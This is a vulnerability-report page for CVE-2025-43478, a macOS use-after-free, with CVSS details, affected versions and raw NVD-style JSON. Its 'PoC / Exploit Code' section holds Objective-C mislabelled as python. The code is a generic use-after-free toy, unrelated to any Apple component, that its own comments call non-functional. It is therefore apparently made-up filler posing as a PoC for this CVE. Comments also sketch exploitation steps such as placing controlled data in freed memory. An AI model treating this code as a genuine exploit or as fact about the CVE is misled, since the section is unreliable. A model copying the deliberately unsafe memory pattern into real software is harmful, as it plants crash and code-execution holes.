Security Vulnerability Report
中文
CVE-2025-43478 CVSS 5.5 MEDIUM

CVE-2025-43478

Published: 2025-11-04 02:15:52
Last Modified: 2026-04-02 19:20:53

Description

A use after free issue was addressed with improved memory management. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app may be able to cause unexpected system termination.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
Apple macOS Sequoia < 15.7.2
Apple macOS Sonoma < 14.8.2
Apple macOS Tahoe < 26.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-43478 PoC - macOS Use After Free Trigger // This PoC demonstrates the vulnerability pattern (not functional exploit) // Based on: Apple Security Advisory for CVE-2025-43478 #include <Foundation/Foundation.h> #include <objc/runtime.h> #include <mach/mach.h> // Vulnerable pattern: Object released but reference not cleared @interface VulnerableObject : NSObject @property (nonatomic, strong) NSMutableArray *sharedData; @end @implementation VulnerableObject - (void)dealloc { // Memory freed but external references may still exist NSLog(@"[UAF] Object being deallocated"); } @end // Trigger function simulating the vulnerability condition void trigger_use_after_free() { VulnerableObject *obj1 = [[VulnerableObject alloc] init]; obj1.sharedData = [NSMutableArray array]; // Simulate reference retention __unsafe_unretained VulnerableObject *weakRef = obj1; // Release object - UAF condition created obj1 = nil; // Trigger memory reallocation (simplified) // In real attack: allocate controlled data at freed location for (int i = 0; i < 100; i++) { NSMutableArray *trigger = [NSMutableArray array]; [trigger addObject:@"controlled_data"]; } // Use after free - access released memory // In real scenario: this would trigger crash or code execution if (weakRef) { NSLog(@"[UAF] Still accessible - vulnerability present"); [weakRef.sharedData count]; // Trigger UAF } } int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"CVE-2025-43478 PoC - macOS Use After Free"); NSLog(@"Target: macOS Sequoia/Sonoma/Tahoe"); trigger_use_after_free(); } return 0; } /* Note: This PoC is for educational purposes only. Actual exploitation requires specific conditions and memory layout control. Apple has patched this vulnerability in: - macOS Sequoia 15.7.2 - macOS Sonoma 14.8.2 - macOS Tahoe 26.1 */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43478", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:52.207", "lastModified": "2026-04-02T19:20:52.870", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use after free issue was addressed with improved memory management. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app may be able to cause unexpected system termination."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.2", "matchCriteriaId": "9827CBDC-8C03-46BA-B534-8533F0975804"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}